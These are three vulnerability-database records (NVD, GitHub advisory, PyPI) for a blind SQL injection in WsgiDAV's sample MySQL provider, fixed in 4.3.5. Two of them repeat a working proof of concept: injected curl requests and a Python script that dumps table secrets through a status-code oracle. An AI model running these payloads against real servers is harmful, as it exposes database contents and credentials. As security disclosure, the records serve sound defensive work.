{
  "affected": [
    {
      "affectedData": [
        {
          "product": "wsgidav",
          "vendor": "mar10",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.3.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WsgiDAV is a generic and extendable WebDAV server based on WSGI. Prior to 4.3.5, the sample MySQLBrowserProvider in wsgidav/samples/mysql_dav_provider.py concatenates the record key parsed from a request URL directly into SQL WHERE clauses. The affected _exists_record_by_primary_key, _get_field_by_primary_key, and _get_record_by_primary_key methods are part of a shipped example provider that is not enabled by default. An attacker who can access a share explicitly configured with this non-default provider can inject SQL through a normal GET request; anonymously exposed read shares permit a status-code oracle and extraction of arbitrary data reachable by the configured MySQL account. This issue is fixed in version 4.3.5."
    }
  ],
  "id": "CVE-2026-55509",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55509",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-28T20:34:04.854543Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:27.810",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mar10/wsgidav/blob/master/CHANGELOG.md#435--2026-06-27"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mar10/wsgidav/commit/6f35776c9188f130ab044ce557015d51aaa83500"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mar10/wsgidav/releases/tag/v4.3.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "WsgiDAV"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:12:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe sample `MySQLBrowserProvider` builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.\n\n**Note:**\nThe `MySQLBrowserProvider` module is only provided as an example for WsgiDAV and not enabled by default.\nInstallations that do not explicitly activate the module in their configuration are not affected by this vulnerability.\n\n### Details\n\nA path like `/db/users/1` is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is `SELECT id FROM testdb.users WHERE id = \u0027\u003ckey\u003e\u0027`, so a single quote in the key breaks out of the literal and the rest runs as SQL.\n\nThe provider\u0027s numeric-type check has a typo (`INTT` instead of `INT`), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.\n\nThe behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.\n\n### PoC\n\nTested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share `/db` mapped to `MySQLBrowserProvider`, anonymous access.\n\nOracle, true then false:\n\n```\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271\"\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272\"\n```\n\nReturns `500` then `404`. The only difference is the injected condition (`\u00271\u0027=\u00271\u0027` vs `\u00271\u0027=\u00272\u0027`), proving the input is executed as SQL.\n\nData extraction over the same oracle (`dump.py`):\n\n```\nimport urllib.parse, urllib.request, urllib.error\nBASE = \"http://127.0.0.1:8080/db/users/\"\n\ndef truthy(cond):\n    url = BASE + urllib.parse.quote(f\"0\u0027 OR ({cond}) OR \u00271\u0027=\u00272\")\n    try:\n        urllib.request.urlopen(url); return True\n    except urllib.error.HTTPError as e:\n        return e.code != 404\n\ndef extract(expr, maxlen=128):\n    out = \"\"\n    for i in range(1, maxlen + 1):\n        if not truthy(f\"SELECT ASCII(MID(({expr}),{i},1))\u003e0\"): break\n        lo, hi = 32, 126\n        while lo \u003c hi:\n            mid = (lo + hi) // 2\n            if truthy(f\"SELECT ASCII(MID(({expr}),{i},1))\u003e{mid}\"): lo = mid + 1\n            else: hi = mid\n        out += chr(lo)\n    return out\n\nprint(extract(\"SELECT GROUP_CONCAT(name,0x3a,secret) FROM users\"))\n```\n\n```\npython dump.py\n```\n\nPrints `alice:alice-password,bob:bob-token`, confirming arbitrary read of table data with no auth.\n\n### Impact\n\nAnyone who can read a `MySQLBrowserProvider` share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account\u0027s privileges.\n\nScope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.",
  "id": "GHSA-p6gw-4frg-j7jw",
  "modified": "2026-08-28T18:12:17Z",
  "published": "2026-08-28T18:12:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/commit/6f35776c9188f130ab044ce557015d51aaa83500"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mar10/wsgidav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/blob/master/CHANGELOG.md#435--2026-06-27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/releases/tag/v4.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WsgiDAV MySQL provider has a blind SQL injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wsgidav",
        "purl": "pkg:pypi/wsgidav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4.0b1",
        "0.4.0b2",
        "0.5.0",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.3.0",
        "2.0.0",
        "2.0.1",
        "2.1.0",
        "2.2.1",
        "2.2.2",
        "2.2.3",
        "2.2.4",
        "2.3.0",
        "2.4.0",
        "2.4.1",
        "3.0.0",
        "3.0.0a1",
        "3.0.0a2",
        "3.0.0a3",
        "3.0.0a4",
        "3.0.0a5",
        "3.0.0a6",
        "3.0.0a7",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.5a2",
        "3.0.5a3",
        "3.1.0",
        "3.1.1",
        "4.0.0",
        "4.0.0a2",
        "4.0.1",
        "4.0.2",
        "4.1.0",
        "4.2.0",
        "4.3.0",
        "4.3.1",
        "4.3.2",
        "4.3.3",
        "4.3.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55509",
    "GHSA-p6gw-4frg-j7jw"
  ],
  "details": "### Summary\n\nThe sample `MySQLBrowserProvider` builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.\n\n**Note:**\nThe `MySQLBrowserProvider` module is only provided as an example for WsgiDAV and not enabled by default.\nInstallations that do not explicitly activate the module in their configuration are not affected by this vulnerability.\n\n### Details\n\nA path like `/db/users/1` is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is `SELECT id FROM testdb.users WHERE id = \u0027\u003ckey\u003e\u0027`, so a single quote in the key breaks out of the literal and the rest runs as SQL.\n\nThe provider\u0027s numeric-type check has a typo (`INTT` instead of `INT`), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.\n\nThe behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.\n\n### PoC\n\nTested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share `/db` mapped to `MySQLBrowserProvider`, anonymous access.\n\nOracle, true then false:\n\n```\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271\"\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272\"\n```\n\nReturns `500` then `404`. The only difference is the injected condition (`\u00271\u0027=\u00271\u0027` vs `\u00271\u0027=\u00272\u0027`), proving the input is executed as SQL.\n\nData extraction over the same oracle (`dump.py`):\n\n```\nimport urllib.parse, urllib.request, urllib.error\nBASE = \"http://127.0.0.1:8080/db/users/\"\n\ndef truthy(cond):\n    url = BASE + urllib.parse.quote(f\"0\u0027 OR ({cond}) OR \u00271\u0027=\u00272\")\n    try:\n        urllib.request.urlopen(url); return True\n    except urllib.error.HTTPError as e:\n        return e.code != 404\n\ndef extract(expr, maxlen=128):\n    out = \"\"\n    for i in range(1, maxlen + 1):\n        if not truthy(f\"SELECT ASCII(MID(({expr}),{i},1))\u003e0\"): break\n        lo, hi = 32, 126\n        while lo \u003c hi:\n            mid = (lo + hi) // 2\n            if truthy(f\"SELECT ASCII(MID(({expr}),{i},1))\u003e{mid}\"): lo = mid + 1\n            else: hi = mid\n        out += chr(lo)\n    return out\n\nprint(extract(\"SELECT GROUP_CONCAT(name,0x3a,secret) FROM users\"))\n```\n\n```\npython dump.py\n```\n\nPrints `alice:alice-password,bob:bob-token`, confirming arbitrary read of table data with no auth.\n\n### Impact\n\nAnyone who can read a `MySQLBrowserProvider` share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account\u0027s privileges.\n\nScope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.",
  "id": "PYSEC-2026-3945",
  "modified": "2026-09-10T11:02:37.005761Z",
  "published": "2026-09-10T09:44:58.137576Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/commit/6f35776c9188f130ab044ce557015d51aaa83500"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mar10/wsgidav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/blob/master/CHANGELOG.md#435--2026-06-27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/releases/tag/v4.3.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/wsgidav"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p6gw-4frg-j7jw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55509"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WsgiDAV MySQL provider has a blind SQL injection"
}